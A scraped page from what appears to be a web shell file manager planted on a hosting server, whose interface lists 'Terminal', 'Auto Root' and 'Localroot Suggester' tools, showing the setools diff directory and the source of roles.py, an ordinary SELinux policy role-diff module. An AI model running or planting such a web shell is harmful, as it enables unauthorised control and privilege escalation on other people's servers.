Linux srv25.usacloudserver.us 5.14.0-570.39.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Sep 4 05:08:52 EDT 2025 x86_64
LiteSpeed
Server IP : 23.137.84.82 & Your IP : 216.73.216.127
Domains :
Cant Read [ /etc/named.conf ]
User : epicgamerzoneco
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib64 /
python3.9 /
site-packages /
setools /
diff /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2025-08-15 18:09
__init__.py
2.52
KB
-rw-r--r--
2023-12-07 15:49
bool.py
2.43
KB
-rw-r--r--
2023-12-07 15:49
bounds.py
3.69
KB
-rw-r--r--
2023-12-07 15:49
commons.py
2.15
KB
-rw-r--r--
2023-12-07 15:49
conditional.py
1.23
KB
-rw-r--r--
2023-12-07 15:49
constraints.py
8.2
KB
-rw-r--r--
2023-12-07 15:49
context.py
1.36
KB
-rw-r--r--
2023-12-07 15:49
default.py
3.54
KB
-rw-r--r--
2023-12-07 15:49
descriptors.py
1.04
KB
-rw-r--r--
2023-12-07 15:49
difference.py
5.36
KB
-rw-r--r--
2023-12-07 15:49
fsuse.py
2.49
KB
-rw-r--r--
2023-12-07 15:49
genfscon.py
2.66
KB
-rw-r--r--
2023-12-07 15:49
ibendportcon.py
2.58
KB
-rw-r--r--
2023-12-07 15:49
ibpkeycon.py
2.59
KB
-rw-r--r--
2023-12-07 15:49
initsid.py
1.95
KB
-rw-r--r--
2023-12-07 15:49
mls.py
9.91
KB
-rw-r--r--
2023-12-07 15:49
mlsrules.py
4.55
KB
-rw-r--r--
2023-12-07 15:49
netifcon.py
3.05
KB
-rw-r--r--
2023-12-07 15:49
nodecon.py
2.59
KB
-rw-r--r--
2023-12-07 15:49
objclass.py
3.08
KB
-rw-r--r--
2023-12-07 15:49
polcap.py
1.09
KB
-rw-r--r--
2023-12-07 15:49
portcon.py
2.57
KB
-rw-r--r--
2023-12-07 15:49
properties.py
1.78
KB
-rw-r--r--
2023-12-07 15:49
rbacrules.py
6.4
KB
-rw-r--r--
2023-12-07 15:49
roles.py
2.66
KB
-rw-r--r--
2023-12-07 15:49
terules.py
24.09
KB
-rw-r--r--
2023-12-07 15:49
typeattr.py
2.8
KB
-rw-r--r--
2023-12-07 15:49
types.py
4.17
KB
-rw-r--r--
2023-12-07 15:49
typing.py
458
B
-rw-r--r--
2023-12-07 15:49
users.py
5.35
KB
-rw-r--r--
2023-12-07 15:49
Save
Rename
# Copyright 2015, Tresys Technology, LLC # Copyright 2018, Chris PeBenito <pebenito@ieee.org> # # SPDX-License-Identifier: LGPL-2.1-only # from collections import defaultdict from typing import NamedTuple, Set from ..policyrep import Role, Type from .descriptors import DiffResultDescriptor from .difference import Difference, SymbolWrapper from .typing import SymbolCache from .types import type_wrapper_factory _roles_cache: SymbolCache[Role] = defaultdict(dict) class ModifiedRole(NamedTuple): """Difference details for a modified role.""" added_types: Set[Type] removed_types: Set[Type] matched_types: Set[Type] def role_wrapper_factory(role: Role) -> SymbolWrapper[Role]: """ Wrap roles from the specified policy. This caches results to prevent duplicate wrapper objects in memory. """ try: return _roles_cache[role.policy][role] except KeyError: r = SymbolWrapper(role) _roles_cache[role.policy][role] = r return r class RolesDifference(Difference): """Determine the difference in roles between two policies.""" added_roles = DiffResultDescriptor("diff_roles") removed_roles = DiffResultDescriptor("diff_roles") modified_roles = DiffResultDescriptor("diff_roles") def diff_roles(self) -> None: """Generate the difference in roles between the policies.""" self.log.info( "Generating role differences from {0.left_policy} to {0.right_policy}".format(self)) self.added_roles, self.removed_roles, matched_roles = self._set_diff( (role_wrapper_factory(r) for r in self.left_policy.roles()), (role_wrapper_factory(r) for r in self.right_policy.roles())) self.modified_roles = dict() for left_role, right_role in matched_roles: # Criteria for modified roles # 1. change to type set, or # 2. change to attribute set (not implemented) added_types, removed_types, matched_types = self._set_diff( (type_wrapper_factory(t) for t in left_role.types()), (type_wrapper_factory(t) for t in right_role.types())) if added_types or removed_types: self.modified_roles[left_role] = ModifiedRole(added_types, removed_types, matched_types) # # Internal functions # def _reset_diff(self) -> None: """Reset diff results on policy changes.""" self.log.debug("Resetting role differences") self.added_roles = None self.removed_roles = None self.modified_roles = None